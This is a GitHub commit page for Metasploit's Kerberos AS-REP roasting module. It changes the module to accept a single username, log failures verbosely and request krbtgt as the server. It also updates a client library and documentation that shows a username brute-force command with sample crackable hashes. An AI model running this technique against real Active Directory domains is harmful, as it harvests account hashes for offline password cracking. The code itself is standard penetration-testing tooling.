Skip to content

Commit 89cf022

Browse files
committed
Kerberos asrep roasting improvements
1 parent ba52331 commit 89cf022

File tree

3 files changed

+26
-15
lines changed

3 files changed

+26
-15
lines changed

documentation/modules/auxiliary/gather/asrep.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -44,7 +44,7 @@ usually preferable, but may be less stealthy.
4444
An example of brute forcing usernames, in the hope of finding one with pre-auth not required:
4545

4646
```msf
47-
msf6 auxiliary(gather/asrep) > run action=BRUTE_FORCE user_file=/tmp/users.txt rhost=192.168.1.1 domain=msf.local rhostname=dc22
47+
msf6 auxiliary(gather/asrep) > run action=BRUTE_FORCE user_file=/tmp/users.txt rhost=192.168.1.1 domain=msf.local
4848
[*] Running module against 192.168.1.1
4949
5050
[email protected]:9fb9954fa32193185ab32e2de2ab9f13$bf14e834c661246cad302073c228e6ff7894cd3023665f0f84338432c3929922ae998c4a23bb9d163dda536a230d0503b2cf575389317b52bde782264940e80206a29e9613e47328228441cf013fb1f6672359f6799be97b962de9429e8859f437e53549be6b11ca07af6f09eae6cd78279af6d7f6dcdfd011eccb74b4aa753b2f9e6561c59c9408ee4bec983777908f3a7eef5fba977710e47e4e8ac0af10608a7dd23db506202b27d7892bc28426d2080c343edfe243bf1cae554cf6204733082332be2455e4674e1c3e84614818a6c15b54221dcaa832
@@ -71,4 +71,4 @@ [email protected]:234e56b15bf3a0e3eb93d662ea6ded74$9889b0a449154c1353
7171
7272
[*] Query returned 1 result.
7373
[*] Auxiliary module execution completed
74-
```
74+
```

lib/msf/core/exploit/remote/kerberos/client.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -292,11 +292,12 @@ def send_request_tgt(options = {})
292292
# If we receive an AS_REP response immediately, no-preauthentication was required and we can return immediately
293293
if initial_as_res.msg_type == Rex::Proto::Kerberos::Model::AS_REP
294294
pa_data = initial_as_res.pa_data
295-
etype_entries = pa_data.find {|entry| entry.type == Rex::Proto::Kerberos::Model::PreAuthType::PA_ETYPE_INFO2}
296295
if password.nil? && key.nil?
297296
decrypted_part = nil
298297
krb_enc_key = nil
299298
else
299+
etype_entries = pa_data.find {|entry| entry.type == Rex::Proto::Kerberos::Model::PreAuthType::PA_ETYPE_INFO2}
300+
300301
# Let's try to check the password
301302
server_ciphers = etype_entries.decoded_value
302303
# Should only have one etype

modules/auxiliary/gather/asrep.rb

Lines changed: 22 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ def initialize(info = {})
4646
Opt::RHOSTS(nil, true, 'The target KDC, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html'),
4747
OptPath.new('USER_FILE', [ false, 'File containing usernames, one per line' ], conditions: %w[ACTION == BRUTE_FORCE]),
4848
OptBool.new('USE_RC4_HMAC', [ true, 'Request using RC4 hash instead of default encryption types (faster to crack)', true]),
49-
OptString.new('Rhostname', [ true, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']),
49+
OptString.new('Rhostname', [ false, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']),
5050
]
5151
)
5252
register_option_group(name: 'SESSION',
@@ -77,26 +77,36 @@ def run
7777
def run_brute
7878
result_count = 0
7979
user_file = datastore['USER_FILE']
80-
if user_file.nil?
81-
fail_with(Msf::Module::Failure::BadConfig, 'User file must be specified when brute forcing')
80+
username = datastore['USERNAME']
81+
if user_file.blank? && username.blank?
82+
fail_with(Msf::Module::Failure::BadConfig, 'User file or username must be specified when brute forcing')
83+
end
84+
if username.present?
85+
begin
86+
roast(datastore['USERNAME'])
87+
result_count += 1
88+
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
89+
# User either not present, or requires preauth
90+
vprint_status("User: #{username} - #{e}")
91+
end
8292
end
8393
if user_file.present?
8494
File.open(user_file, 'rb') do |file|
8595
file.each_line(chomp: true) do |user_from_file|
8696
roast(user_from_file)
8797
result_count += 1
88-
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError
98+
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
8999
# User either not present, or requires preauth
100+
vprint_status("User: #{user_from_file} - #{e}")
90101
end
91102
end
92-
if result_count == 0
93-
print_error('No users found without preauth required')
94-
else
95-
print_line
96-
print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.")
97-
end
103+
end
104+
105+
if result_count == 0
106+
print_error('No users found without preauth required')
98107
else
99-
fail_with(Msf::Module::Failure::BadConfig, 'User file not found')
108+
print_line
109+
print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.")
100110
end
101111
end
102112

@@ -138,7 +148,7 @@ def run_ldap
138148

139149
def roast(username)
140150
res = send_request_tgt(
141-
server_name: datastore['Rhostname'],
151+
server_name: "krbtgt/#{datastore['domain']}",
142152
client_name: username,
143153
realm: datastore['DOMAIN'],
144154
offered_etypes: etypes,

0 commit comments

Comments
 (0)